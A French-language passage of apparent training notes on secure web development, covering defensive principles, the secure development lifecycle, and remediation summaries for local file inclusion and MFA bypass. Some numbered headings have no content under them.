• Liste blanche : Restreindre strictement les entrées (fichiers, URLs, destinations) pour éviter les inclusions ou accès non autorisés.
• Validation stricte : Contrôler les chemins, formats et données reçues pour prévenir injections et manipulations.
• Chiffrement : Utiliser des algorithmes robustes pour protéger les données au repos et en transit.
• Gestion des secrets : Ne jamais exposer les clés ou mots de passe dans le code ou configurations.
• Durcissement : Supprimer services inutiles, comptes par défaut, et limiter les informations divulguées (ex : pages d’erreur).
• Contrôle d’accès : Implémenter des autorisations fines, notamment pour les API, pour éviter les accès non autorisés.
• Signature et intégrité : Pour les données sérialisées ou les jetons JWT, vérifier la signature et éviter les algorithmes faibles ou absents.
• Limitation et surveillance : Appliquer des quotas, limiter les redirections, et surveiller les accès pour détecter les abus.

À retenir : La sécurité applicative repose sur une démarche rigoureuse d’analyse, exploitation contrôlée, et remédiation ciblée, adaptée à chaque vulnérabilité spécifique.

d) Exemple synthétique : Inclusion locale (LFI)

• Vulnérabilité : Inclusion de fichiers locaux ou distants non contrôlée, pouvant mener à l’exécution de code arbitraire.
• Remédiation : Implémenter une liste blanche des fichiers autorisés, désactiver allow_url_include dans PHP, valider strictement les chemins d’accès.
• Impact : Compromission complète du serveur, fuite de données sensibles.

Cette méthodologie et ces outils sont essentiels pour sécuriser les applications web face aux menaces actuelles.

1. Cycle de Développement Sécurisé (SSDLC)

Le SSDLC intègre la sécurité à chaque étape du cycle de vie du développement logiciel, afin de réduire les vulnérabilités dès la conception.

2. Étapes clés du SSDLC

3. Synthèse des vulnérabilités et remédiations (extraits)

4. Points essentiels à retenir

Le SSDLC impose une intégration continue de la sécurité dès la conception jusqu’à la mise en production, avec une validation rigoureuse à chaque étape.

• Chaque vulnérabilité doit être analysée selon un cadre structuré : contexte, application, objectifs, analyse, exploitation, impacts, remédiation, validation.
• La remédiation efficace combine correctifs techniques et contrôles organisationnels.
• Les vulnérabilités critiques comme le contournement MFA ou les failles logiques métier nécessitent des solutions spécifiques (ex : FIDO2, validation serveur).
• La défense en profondeur est indispensable face aux chaînes d’exploitation combinées.
• L’intégration du SSDLC dans les processus de développement réduit les risques techniques, financiers, juridiques et réputationnels.

5. Exemple : Contournement d’authentification MFA

• Classification : CWE-287 ; A07 :2021
• Vulnérabilités : réinitialisation non sécurisée, codes de secours faibles, fatigue MFA, interception OTP
• Remédiations : liaison forte du second facteur, limitation des tentatives, adoption de standards résistants au phishing (FIDO2/WebAuthn)

Cette méthode systématique permet d’anticiper, détecter et corriger les failles, garantissant ainsi des applications plus sûres et fiables.